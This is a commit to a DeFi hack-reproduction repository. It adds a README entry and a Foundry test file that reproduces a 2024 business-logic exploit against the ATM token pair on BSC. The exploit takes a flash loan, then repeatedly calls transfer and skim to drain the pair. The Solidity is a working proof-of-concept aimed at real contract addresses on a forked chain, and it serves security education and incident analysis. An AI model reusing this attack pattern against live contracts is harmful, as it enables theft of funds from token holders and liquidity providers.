Add ATM_exp

guqicun · Apr 2, 2024 · ea0f104 · ea0f104
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diff --git a/README.md b/README.md
@@ -2,7 +2,7 @@
 
 **Reproduce DeFi hack incidents using Foundry.**
 
-378 incidents included.
+379 incidents included.
 
 Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)
 
@@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )
 
 ## List of Past DeFi Incidents
+[20240401 ATM](#20240401-atm---business-logic-flaw)
+
 [20240329 PrismaFi](#20240329-prismaFi---insufficient-validation)
 
 [20240325 ZongZi](#20240325-zongzi---price-manipulation)
@@ -828,7 +830,21 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 
 ### List of DeFi Hacks & POCs
 
+### 20240401 ATM - business logic flaw
+
+### Lost: $~182K USD
+
+```
+forge test --contracts ./src/test/ATM_exp.sol -vvv
+```
+#### Contract
+
+[ATM_exp.sol](src/test/ATM_exp.sol)
 
+### Link reference
+
+https://twitter.com/0xNickLFranklin/status/1775008489569718508
+---
 
 ### 20240329 PrismaFi - Insufficient Validation
 

diff --git a/src/test/ATM_exp.sol b/src/test/ATM_exp.sol
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.10;
+
+import "forge-std/Test.sol";
+import "./interface.sol";
+
+// TX : https://phalcon.blocksec.com/explorer/tx/bsc/0xee10553c26742bec9a4761fd717642d19012bab1704cbced048425070ee21a8a?line=2
+// GUY : https://twitter.com/0xNickLFranklin/status/1775008489569718508
+// Profit : ~182K USD
+// REASON : Business Logic Flaw
+// Sandwitch attack,the contract will exchange token -> WBNB & WBNB -> USDT,So use transfer / skim to 
+
+contract ContractTest is Test {
+    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
+    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+    Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
+    Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7); 
+    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
+    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
+    IERC20 ATM = IERC20(0xa5957E0E2565dc93880da7be32AbCBdF55788888);
+    uint256 constant PRECISION = 10**18;
+    address test_contract = address(this);
+    address hack_contract ;
+    uint256 borrow_amount ;
+    function setUp() external {
+        cheats.createSelectFork("bsc", 37483300);
+        deal(address(USDT), address(this), 0);
+    }
+
+    function testExploit() external {
+        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", WBNB.balanceOf(address(this)), 18);
+        borrow_amount = WBNB.balanceOf(address(pool)) - 1e18;
+        pool.flash(address(this),0,borrow_amount,"");
+        emit log_named_decimal_uint("[End] Attacker USDT after exploit", WBNB.balanceOf(address(this)), 18);
+    }
+
+    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
+        console.log(WBNB.balanceOf(address(this)));
+        uint256 i = 0;
+        uint256 j = 0;
+        swap_token_to_token(address(WBNB),address(USDT),WBNB.balanceOf(address(this)) - 170 ether);
+        while(j<2){
+            swap_token_to_token(address(WBNB),address(ATM),70 ether);
+            while(i<100){
+                uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));
+                ATM.transfer(address(wbnb_atm),ATM.balanceOf(address(this)));
+                wbnb_atm.skim(address(this));
+                (,uint wbnb_r,) = wbnb_atm.getReserves();
+                uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;
+                console.log("Pair lost:",pair_lost);
+                if (pair_lost == 7){
+                    break;
+                }
+                i ++;
+            }
+            j ++;
+        }
+        // To get max profit,not good at math so just copy the exploiter's work
+        i =0;
+        while(i<15){
+                uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));
+                ATM.transfer(address(wbnb_atm),ATM.balanceOf(address(this)));
+                wbnb_atm.skim(address(this));
+                (,uint wbnb_r,) = wbnb_atm.getReserves();
+                uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;
+                console.log("Pair lost:",pair_lost,"BNB");
+                if (pair_lost == 0){
+                    break;
+                }
+                i ++;
+            }
+        swap_token_to_token(address(ATM),address(WBNB),ATM.balanceOf(address(this)));
+        swap_token_to_token(address(USDT),address(WBNB),USDT.balanceOf(address(this)));
+        console.log('My wbnb',WBNB.balanceOf(address(this)));
+        WBNB.transfer(address(pool),borrow_amount * 10_000 / 9975 + 1000);
+    }
+
+    function swap_token_to_token(address a,address b,uint256 amount) internal {
+        IERC20(a).approve(address(router), amount);
+        address[] memory path = new address[](2);
+        path[0] = address(a);
+        path[1] = address(b);
+        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+            amount, 0, path, address(this), block.timestamp
+        );
+    }
+
+}
+